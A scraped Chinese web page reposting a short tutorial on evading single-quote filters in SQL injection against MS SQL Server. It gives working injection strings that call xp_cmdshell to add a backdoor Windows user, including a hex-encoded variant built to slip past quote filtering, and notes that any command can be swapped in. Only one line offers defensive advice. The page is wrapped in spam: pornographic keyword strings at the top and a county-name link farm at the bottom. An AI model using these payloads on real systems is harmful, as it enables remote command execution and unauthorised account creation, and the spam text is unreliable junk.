国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > .NET > 正文

SQL注入中繞過 單引號 限制繼續注入

2024-07-10 13:19:29
字體:
來源:轉載
供稿:網友
包括我寫的那篇《SQL Injection的實現與應用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當輕松就注入成功了,如下:

復制代碼 代碼如下:


?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--


這往往給大家造成誤解,認為只要變量過濾了'就可以防止SQL Injection攻擊,這種意識為大量程序可以注入埋下禍根,其實僅僅過濾'是不夠的,在'被過濾的情況下我們照樣玩,看下面語句:

復制代碼 代碼如下:


?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--


  是不是跟上面的那句有很大區別?可是效果完全是一樣的。其實這些都是SQL語句。

復制代碼 代碼如下:


0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400


這句是“net user angel pass /add”的16進制格式。了解SQL的朋友就容易明白,先聲明一個變量a,然后把我們的指令賦值給a,然后調用變量a最終執行我們輸入的命令。變量a可以是任何命令。如下:

復制代碼 代碼如下:


declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a


解決辦法:
過濾變量,限制只允許輸入特定字符。比如對于數字類型的變量就限制只能輸入數字類型的數據。具體就不說了。這完全是程序作者自由發揮了。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 湖口县| 秦安县| 尼勒克县| 措勤县| 调兵山市| 崇明县| 滦南县| 高尔夫| 淳安县| 双柏县| 闽侯县| 隆昌县| 新竹县| 潢川县| 新闻| 万荣县| 秦皇岛市| 余庆县| 卢湾区| 九江县| 灵武市| 琼海市| 巴东县| 萨嘎县| 嘉祥县| 新源县| 榕江县| 焦作市| 女性| 哈尔滨市| 民勤县| 和静县| 包头市| 南投县| 宝兴县| 湘潭县| 灵武市| 个旧市| 伊金霍洛旗| 自贡市| 桐庐县|